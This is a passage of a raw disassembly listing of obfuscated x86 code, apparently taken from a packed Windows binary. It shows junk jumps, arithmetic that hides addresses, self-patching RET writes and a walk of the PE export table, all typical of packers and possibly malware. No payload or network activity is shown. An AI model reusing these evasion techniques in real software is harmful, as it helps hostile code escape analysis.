eax, 14h loc_1001444B: ; CODE XREF: sub_100142E8:loc_10019158j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10013734 jmp loc_1001422F ; END OF FUNCTION CHUNK FOR sub_100142E8 ; =============== S U B R O U T I N E ======================================= sub_1001445C proc near ; DATA XREF: an.kk9rg:10014EB5o call sub_10018A1E sub_1001445C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10014461: ; CODE XREF: an.kk9rg:10013866j ; sub_10018066+5566j xchg eax, [esp+0] mov edx, eax call sub_1001A365 loc_1001446B: ; CODE XREF: an.kk9rg:10014D36j jmp loc_100135B0 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_10014470: ; CODE XREF: sub_1001A606:loc_10015BF7j jnz loc_1001DA88 jmp loc_10019DA1 ; END OF FUNCTION CHUNK FOR sub_1001A606 ; --------------------------------------------------------------------------- shl edx, 9 jmp sub_1001C27D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_10014483: ; CODE XREF: sub_100189D7+8j jz loc_100169A1 jmp loc_10016DFD ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001448E: ; CODE XREF: sub_1001767A:loc_100170F1j ; sub_10015CBE+7348j push 91157DA2h pop eax add eax, 8CC06B3Dh and eax, 46D840EDh xor eax, 0AAF54144h add eax, ebp add eax, 51DAFE73h mov eax, [eax] jmp loc_10018D39 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_100144B5: ; DATA XREF: sub_1001C6B0-8151o cmp byte ptr [eax], 0EBh call sub_1001CB61 ; START OF FUNCTION CHUNK FOR sub_10017394 loc_100144BD: ; CODE XREF: sub_10017394+5BEEj jnp loc_10016B96 cmp edi, ebp jmp loc_1001618E ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_100144CA: ; CODE XREF: sub_1001BC80-3870j jz loc_100176A0 jmp loc_1001DD57 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- loc_100144D5: ; CODE XREF: an.kk9rg:10015216j jnp loc_100188BC mov ecx, ebx loc_100144DD: ; CODE XREF: an.kk9rg:loc_1001C1A1j push 722F1F24h pop eax jmp loc_1001B30B ; --------------------------------------------------------------------------- mov ebp, [ecx] jmp sub_10019BB6 ; --------------------------------------------------------------------------- db 0Fh dd 6F588Ah db 0 ; =============== S U B R O U T I N E ======================================= sub_100144F5 proc near ; CODE XREF: sub_10015995+4C27p ; FUNCTION CHUNK AT 10013B30 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx mov [ebp-24h], eax jmp loc_10013B30 sub_100144F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10014501: ; CODE XREF: sub_1001CF40:loc_100199CDj add eax, ebp add eax, 0F68B7EA9h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_1001D857 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- db 33h dd 38A0FC5h, 0E9000050h, 0FFFFF1B7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_10014520: ; CODE XREF: sub_10017394+6A8Ej xchg ebp, [esp+0] ror eax, 17h mov ds:dword_10018614, eax retn ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014030 loc_1001452D: ; CODE XREF: sub_10014030+92BFj jmp nullsub_194 ; END OF FUNCTION CHUNK FOR sub_10014030 ; --------------------------------------------------------------------------- loc_10014532: ; CODE XREF: an.kk9rg:10016D1Aj jmp sub_10018CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_10014537: ; CODE XREF: sub_100173FAj push esi push ebp pop esi jmp loc_1001D1A7 ; END OF FUNCTION CHUNK FOR sub_100173FA ; =============== S U B R O U T I N E ======================================= sub_1001453F proc near ; DATA XREF: sub_10013688+9692o push 8B1B5935h pop esi rol esi, 1Fh add esi, 4A73F7AFh xchg esi, [esp+0] jmp sub_10015BA9 sub_1001453F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10014556: ; CODE XREF: sub_1001C6B0+16j jz loc_1001A630 mov eax, [ebp-4] push offset loc_100144B5 jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- locret_10014569: ; CODE XREF: an.kk9rg:1001990Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019771 loc_1001456A: ; CODE XREF: sub_10019771+Aj jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_10019771 ; =============== S U B R O U T I N E ======================================= sub_1001456F proc near ; DATA XREF: sub_10017BF9+2C87o ; FUNCTION CHUNK AT 10014AE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014EEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100150D9 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001562B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015D94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016DEC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100183D0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10019584 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001ADF8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001AE64 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001C8AB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CFCF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DF17 SIZE 00000008 BYTES add edx, 0FB1E8362h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_1001CFCF sub_1001456F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10014580: ; CODE XREF: sub_10016167+6782j jo loc_100152D7 jmp loc_1001AD36 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_1001458B: ; CODE XREF: sub_10018352+9j push offset loc_1001B28F jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10014595: ; CODE XREF: sub_1001C2D8-3D14j not edx sbb eax, 0CB70EA56h jmp loc_10014282 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- loc_100145A2: ; CODE XREF: an.kk9rg:1001CDC8j test eax, 94072C40h jmp loc_1001CA60 ; --------------------------------------------------------------------------- jz sub_10017667 jmp loc_1001A8DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100145B9 proc near ; DATA XREF: sub_1001CB61+Ao ; FUNCTION CHUNK AT 100147DB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10014C53 SIZE 00000005 BYTES mov eax, [ebp-4] mov al, [eax] and al, 0F6h cmp al, 0C2h jz loc_1001A630 jmp loc_10014C53 sub_100145B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100145CD: ; CODE XREF: sub_10013389+AAFAj jnp loc_10017DCD jns loc_10017AC7 jmp loc_100169A1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100145DE: ; CODE XREF: an.kk9rg:10017A09j call sub_1001691F ; START OF FUNCTION CHUNK FOR sub_1001DC70 loc_100145E3: ; CODE XREF: sub_1001DC70+Fj jmp loc_10015EA3 ; END OF FUNCTION CHUNK FOR sub_1001DC70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100145E8: ; CODE XREF: sub_10018C76-2C3Fj jmp loc_100163FA ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_100145ED proc near ; CODE XREF: an.kk9rg:loc_10017DD8p ; an.kk9rg:1001B7C0j ; FUNCTION CHUNK AT 100136BD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001424D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014B80 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015C3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016BB1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10016E5F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017695 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019569 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019ACA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10019EF6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001CDCE SIZE 0000000D BYTES xchg esi, [esp+0] pop esi mov al, [eax] jno loc_10016BB1 sub al, 99h jmp loc_10019ACA sub_100145ED endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014600: ; CODE XREF: sub_1001ABFD+BE2j xchg edi, edx jmp loc_10017912 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- push eax ror eax, 5 mov ds:dword_100185EC, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_10014612: ; CODE XREF: sub_10014E66:loc_1001A94Cj rol eax, 5 push edi loc_10014616: ; CODE XREF: sub_10016451:loc_100186A2j mov edi, eax xchg edi, [esp+4+var_4] jmp loc_1001DD40 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- adc esi, ebp jmp sub_10018628 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014629: ; CODE XREF: an.kk9rg:1001DF27j jmp loc_100190B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_1001462E: ; CODE XREF: sub_10014A06:loc_10016110j pop eax sub eax, 6BC2E769h and eax, 4D4356C7h add eax, 0CFC0674Bh mov eax, [eax] jmp loc_100179AA ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015EBE loc_10014648: ; CODE XREF: sub_10015EBE+Dj add ecx, 0FCFCF3Ch ; END OF FUNCTION CHUNK FOR sub_10015EBE ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001464E: ; CODE XREF: sub_10013389+451Bj call sub_1001AA64 loc_10014653: ; CODE XREF: an.kk9rg:100165D9j jmp loc_1001AD9F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10014658: ; CODE XREF: sub_10019595+5j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] call sub_1001C535 ; END OF FUNCTION CHUNK FOR sub_10019595 ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_10014664: ; CODE XREF: sub_1001BBDA+1A2Aj jmp loc_1001B3AD ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A024 loc_10014669: ; CODE XREF: sub_1001A024+8j jmp loc_10016C1C ; END OF FUNCTION CHUNK FOR sub_1001A024 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001466E: ; CODE XREF: sub_10016D66+22j jbe loc_10014B24 mov ebp, 0B9896F57h jmp loc_10017E6B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001467E: ; CODE XREF: sub_100190DC+8Cj xchg edi, [ebp+0] or ebp, edx push 0EAEA1573h jno loc_1001AA30 ; END OF FUNCTION CHUNK FOR sub_100190DC ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001468E: ; CODE XREF: sub_100190DC-60A3j ; sub_10016D66-3B5Aj ... jmp loc_10018299 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- jmp loc_1001B493 ; =============== S U B R O U T I N E ======================================= sub_10014698 proc near ; CODE XREF: sub_1001D089j ; DATA XREF: sub_1001D076:loc_1001D07Fo ; FUNCTION CHUNK AT 1001371A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B085 SIZE 00000011 BYTES jns loc_1001B085 mov ecx, [ebx+3Ch] sub_10014698 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100188EE loc_100146A1: ; CODE XREF: sub_100188EE:loc_1001CAE1j mov ecx, [ebx+ecx+78h] push offset sub_10017A34 jmp loc_1001313E ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_100146AF proc near ; DATA XREF: an.kk9rg:10018F9Co lea eax, nullsub_6 mov byte ptr [eax], 0C3h mov [ebp-4], eax push 1Ch call sub_100142F5 sub_100146AF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_100146C2: ; CODE XREF: sub_100193F2-5AFAj jmp loc_1001D90D ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_100146C7: ; CODE XREF: sub_100181E1:loc_10017EEEj jz loc_1001ABE3 jmp loc_10015DE7 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B010 loc_100146D2: ; CODE XREF: sub_1001B010+1j push offset sub_100150E1 jmp loc_10016246 ; END OF FUNCTION CHUNK FOR sub_1001B010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100146DC: ; CODE XREF: sub_10013389:loc_1001B352j mov esp, ebp call sub_10019886 ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_100146E3: ; CODE XREF: sub_10016167+8j jmp loc_10018664 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100146E8: ; CODE XREF: sub_10019409:loc_100166CDj mov al, [eax] jnb loc_100135EB sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_100132DD jmp loc_1001965D ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014704: ; CODE XREF: sub_10016D66:loc_10018299j rol ebp, 5 cmp edi, 9BAFDDDBh jmp loc_1001868F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- mov esi, [eax] jmp sub_10013688 ; --------------------------------------------------------------------------- loc_10014719: ; DATA XREF: sub_10015D9E+3C90o mov eax, [esp] push esi ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001471D: ; CODE XREF: sub_1001492C:loc_10013967j mov esi, edx call sub_1001D5AF ; END OF FUNCTION CHUNK FOR sub_1001492C ; START OF FUNCTION CHUNK FOR sub_1001B935 loc_10014724: ; CODE XREF: sub_1001B935+9j jmp loc_100183A6 ; END OF FUNCTION CHUNK FOR sub_1001B935 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10014729: ; CODE XREF: sub_1001564A+3948j jmp loc_100155DF ; END OF FUNCTION CHUNK FOR sub_1001564A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001472F: ; CODE XREF: sub_1001537B+7A91j jmp loc_10019EA6 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_10014734: ; CODE XREF: sub_1001C529+412j rol ecx, 11h add ecx, 2F5722E1h mov [ecx], eax pop ecx lea eax, sub_1001C529 mov byte ptr [eax], 0C3h jmp loc_1001CB92 ; END OF FUNCTION CHUNK FOR sub_1001C529 ; =============== S U B R O U T I N E ======================================= sub_1001474E proc near ; CODE XREF: sub_1001474E:loc_1001A1CEj ; DATA XREF: vyridizn:off_10002040o ; FUNCTION CHUNK AT 100185E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A1CE SIZE 00000006 BYTES call sub_1001A1DE jmp loc_100185E5 sub_1001474E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10014758: ; CODE XREF: sub_10015B5D:loc_10015B66j jnz loc_1001DB0F loc_1001475E: ; CODE XREF: sub_1001C6B0-82C0j jmp loc_1001AE34 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- jle loc_100190F8 sub esi, 8A8314BBh jmp loc_1001DB0D ; --------------------------------------------------------------------------- loc_10014774: ; CODE XREF: an.kk9rg:100199AEj shr ebx, 17h pushf jmp loc_10018CE7 ; --------------------------------------------------------------------------- byte_1001477D db 9, 0C9h ; DATA XREF: sub_100193F2+384Eo ; --------------------------------------------------------------------------- push offset loc_10019F92 jmp locret_1001955C ; --------------------------------------------------------------------------- test edx, esi jmp loc_100136F9 ; --------------------------------------------------------------------------- loc_10014790: ; CODE XREF: an.kk9rg:1001386Cj jz loc_10014EB2 jmp loc_100198D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016532 loc_1001479B: ; CODE XREF: sub_10016532+17j mov ds:off_1000200C, eax lea eax, sub_10017DC3 mov byte ptr [eax], 0C3h jmp sub_10017DC3 ; END OF FUNCTION CHUNK FOR sub_10016532 ; =============== S U B R O U T I N E ======================================= sub_100147AF proc near ; CODE XREF: an.kk9rg:10013714j ; DATA XREF: vyridizn:off_10002010o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014F8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C888 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001DC30 SIZE 00000005 BYTES push ebx push 623F4C88h pop ebx xor ebx, 5F93E286h jmp loc_10014F8E sub_100147AF endp ; --------------------------------------------------------------------------- loc_100147C1: ; DATA XREF: sub_10014030+92BAo push edx call sub_10018330 mov eax, 48EA2DE1h call sub_100181E1 push offset sub_100183D9 jmp locret_1001A5E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145B9 loc_100147DB: ; CODE XREF: sub_100145B9:loc_10014C53j mov eax, [ebp-4] call sub_1001734F ; END OF FUNCTION CHUNK FOR sub_100145B9 ; START OF FUNCTION CHUNK FOR sub_1001504E loc_100147E3: ; CODE XREF: sub_1001504E+28BFj or edx, 4AB478B1h add edx, 0CC9973BDh xor edx, 0E153577Bh add edx, ebp add edx, 6E244E7h mov edx, [edx] imul byte ptr [edx] jmp loc_100198AC ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10014806: ; CODE XREF: sub_10016734+4E9Bj jnz loc_1001B84A jmp loc_100195C0 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- xor ecx, 0B3E654C4h jmp sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001481C: ; CODE XREF: sub_1001BBDA:loc_1001B115j sbb edi, 80FCCD5Dh jmp loc_1001D5F7 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10014827: ; CODE XREF: sub_1001701B+E4Bj push edx call sub_1001AAE3 mov eax, 0DBEEE66Ch push edi push 66D007EBh jmp loc_1001A0D1 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001483D: ; CODE XREF: sub_1001C799:loc_1001389Aj xor edi, 0BC1DCB00h or edi, ds:100000CAh xor edi, 248FEC88h and edi, 6CBA9FA4h add edi, 0CFDF63D9h push offset loc_100187BB jmp nullsub_159 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014865: ; CODE XREF: sub_1001ABFD+2282j cmp al, 0A4h jz loc_1001D0ED jmp loc_1001B9FE ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10014872: ; CODE XREF: sub_10015C77+1503j ; an.kk9rg:loc_1001CA60j not edx loc_10014874: ; CODE XREF: sub_10015C77:loc_1001309Cj push 0F21B4511h pop eax or eax, 0E836928Ah jmp loc_100186DA ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10014885: ; CODE XREF: sub_10013389+3C6Ej pushf push 0C40294BFh pop esi or esi, 0AF7CF7FBh sub esi, 0B11B175Ah or esi, 0CA295D66h add esi, 11955F03h popf jmp loc_1001768D ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100148AB: ; CODE XREF: an.kk9rg:10018C48j jnz loc_10016F7A shl edi, 11h jmp loc_100165F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100148B9: ; CODE XREF: sub_10013389+7Bj push esi loc_100148BA: ; CODE XREF: sub_10013389:loc_10017E0Aj add esi, 6B2A3DC1h rol esi, 1Ch add esi, 0B844DD3Bh call sub_1001C4EB loc_100148CE: ; CODE XREF: an.kk9rg:10017238j test eax, 8 jmp loc_1001A2A2 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- cdq jmp sub_1001DB5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100148DF: ; CODE XREF: sub_10013999+202Bj mov edi, eax xchg edi, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_100148E5: ; CODE XREF: sub_10014DD9+4C82j jmp loc_100163CF ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013372 loc_100148EA: ; CODE XREF: sub_10013372+4j jmp sub_10019E2E ; END OF FUNCTION CHUNK FOR sub_10013372 ; --------------------------------------------------------------------------- loc_100148EF: ; CODE XREF: an.kk9rg:1001BBB4j push ebx push ebp pop ebx push offset sub_1001B19B jmp loc_1001C6FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_100148FC: ; CODE XREF: sub_10015988:loc_10016F4Fj cmp al, 0A4h jz loc_10019C7A jmp loc_1001811B ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10014909: ; CODE XREF: sub_100136D7+919Fj jz loc_1001AD36 jmp loc_10015855 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10014914: ; CODE XREF: sub_100190DC:loc_1001DA7Dj add ebx, edi jmp loc_10019A38 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001491B: ; CODE XREF: sub_10016D66:loc_10014F69j ; sub_100190DC:loc_100192FCj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, ecx xchg edi, [esp] jmp loc_10017960 ; =============== S U B R O U T I N E ======================================= sub_1001492C proc near ; CODE XREF: sub_1001590F-20DEp ; an.kk9rg:1001C2FBj arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 10013967 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001412B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001471D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 100154B2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015500 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015527 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016669 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016747 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 100168E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017487 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018041 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001A078 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A571 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001A684 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B03D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D44D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DB55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DF3B SIZE 00000024 BYTES xchg edi, [esp+0] pop edi add eax, edi pop edi mov eax, [eax] popf mov al, [eax] jmp loc_1001B03D sub_1001492C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001493D: ; CODE XREF: sub_10017D86-1AA0j adc ecx, 8F77BEF8h xor eax, 0AAFA9B31h loc_10014949: ; CODE XREF: sub_10017D86:loc_10019518j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10016E57 jmp loc_10015309 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_1001495A: ; CODE XREF: sub_100178C9:loc_10016A5Cj ror ebp, 0Bh sub ebp, 0C3128AC8h jmp loc_10014EBF ; END OF FUNCTION CHUNK FOR sub_100178C9 ; =============== S U B R O U T I N E ======================================= sub_10014968 proc near ; CODE XREF: sub_10019401+3j add esp, 0FFFFFFD8h mov [ebp-20h], eax mov eax, [ebp-20h] push offset loc_10015413 jmp nullsub_40 sub_10014968 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001497B: ; CODE XREF: sub_10017394+Dj or eax, eax jnz loc_1001BA03 jmp loc_1001A92C ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_10014988: ; CODE XREF: an.kk9rg:1001868Aj and esi, ebx ; =============== S U B R O U T I N E ======================================= sub_1001498A proc near ; CODE XREF: sub_1001C77E+9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014088 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100153A6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001592A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016299 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100189E4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100196DD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10019AB9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001AA8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001B40A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001CBBA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CCD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D9D1 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001AA8C mov eax, [ebp-14h] jmp loc_10016299 sub_1001498A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_100149A4: ; CODE XREF: sub_10014A76+78B4j jz loc_1001C69D jmp loc_1001349B ; END OF FUNCTION CHUNK FOR sub_10014A76 ; --------------------------------------------------------------------------- jmp ds:off_10002000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100149B5: ; CODE XREF: sub_1001A97E-40AFj jmp loc_1001CFA6 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100149BA: ; CODE XREF: sub_10019409-60C0j jmp loc_1001B068 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015964 loc_100149BF: ; CODE XREF: sub_10015964-EA6j ; sub_10015964+1Fj ... pop edx jz loc_10014AC3 mov eax, [esp-4+arg_0] push edx call sub_10016802 mov eax, 0CE6B079Ah call sub_100181E1 jmp loc_10014AAF ; END OF FUNCTION CHUNK FOR sub_10015964 ; --------------------------------------------------------------------------- loc_100149DE: ; CODE XREF: an.kk9rg:10019E96j ror esi, 3 